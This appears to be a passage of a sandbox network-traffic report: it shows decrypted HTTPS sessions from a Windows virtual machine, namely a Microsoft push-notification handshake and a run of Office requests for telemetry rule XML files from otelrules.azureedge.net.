2024-11-30 03:13:05 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4f 69 34 49 6b 49 77 67 47 55 43 56 6e 4a 69 45 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 62 62 38 61 31 31 66 32 37 37 61 66 65 30 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Oi4IkIwgGUCVnJiE.1Context: 7bb8a11f277afe00
2024-11-30 03:13:05 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-30 03:13:05 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4f 69 34 49 6b 49 77 67 47 55 43 56 6e 4a 69 45 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 62 62 38 61 31 31 66 32 37 37 61 66 65 30 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 64 4d 74 43 50 4f 37 76 2f 5a 2f 32 67 72 76 5a 55 51 76 4e 64 64 73 4b 34 55 4c 79 4b 72 56 67 58 53 4b 69 35 47 65 67 73 50 49 72 66 5a 69 69 32 6f 78 63 78 30 68 4c 39 41 43 4c 47 32 50 53 61 70 54 48 44 62 63 74 4d 48 32 42 51 30 51 77 6e 6c 6e 50 62 2f 63 51 72 45 49 57 44 65 32 42 62 46 73 55 6b 4e 46 6f 43 49 6b 50 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Oi4IkIwgGUCVnJiE.2Context: 7bb8a11f277afe00<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUdMtCPO7v/Z/2grvZUQvNddsK4ULyKrVgXSKi5GegsPIrfZii2oxcx0hL9ACLG2PSapTHDbctMH2BQ0QwnlnPb/cQrEIWDe2BbFsUkNFoCIkP
2024-11-30 03:13:05 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4f 69 34 49 6b 49 77 67 47 55 43 56 6e 4a 69 45 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 62 62 38 61 31 31 66 32 37 37 61 66 65 30 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Oi4IkIwgGUCVnJiE.3Context: 7bb8a11f277afe00<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-30 03:13:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-30 03:13:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 62 43 34 6a 61 71 65 61 52 6b 4b 6e 4e 33 62 43 54 75 6a 70 66 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: bC4jaqeaRkKnN3bCTujpfA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:06 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:06 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 0b0e70ef-c01e-00ad-0cbd-42a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031306Z-174f7845968px8v7hC1EWR08ng0000001160000000002mww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:06 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:06 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:07 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: b12f5008-901e-002a-4fa2-427a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031307Z-174f7845968xlwnmhC1EWR0sv800000010p000000000a9en x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:07 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:07 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:07 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 47128673-401e-0083-0daf-42075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031307Z-174f7845968ljs8phC1EWRe6en00000010tg0000000017y9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:07 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:07 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:07 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: c1465301-601e-0050-31f1-412c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031307Z-174f784596886s2bhC1EWR743w00000010xg000000006pum x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:07 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:08 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:08 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9f43eb8e-e01e-003c-5891-3fc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031308Z-174f7845968xr5c2hC1EWRd0hn0000000hng00000000cx0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:09 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:09 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:09 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 2ca90ebd-d01e-0049-02f7-41e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031309Z-174f7845968qj8jrhC1EWRh41s00000010w00000000029yh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:09 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:09 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:09 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b0621631-101e-008e-3d91-3fcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031309Z-174f7845968glpgnhC1EWR7uec00000010yg00000000e5gc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:10 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:10 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:10 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: db5a5c06-801e-00a0-75f9-412196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031310Z-174f7845968psccphC1EWRuz9s000000112000000000by9g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:11 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:10 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:11 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 460b6522-701e-0097-5815-41b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031311Z-174f7845968zgtf6hC1EWRqd8s0000000tw0000000003tvn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:11 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:11 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:12 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 3266629f-e01e-0020-5891-3fde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031312Z-174f7845968swgbqhC1EWRmnb40000001120000000004ghs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
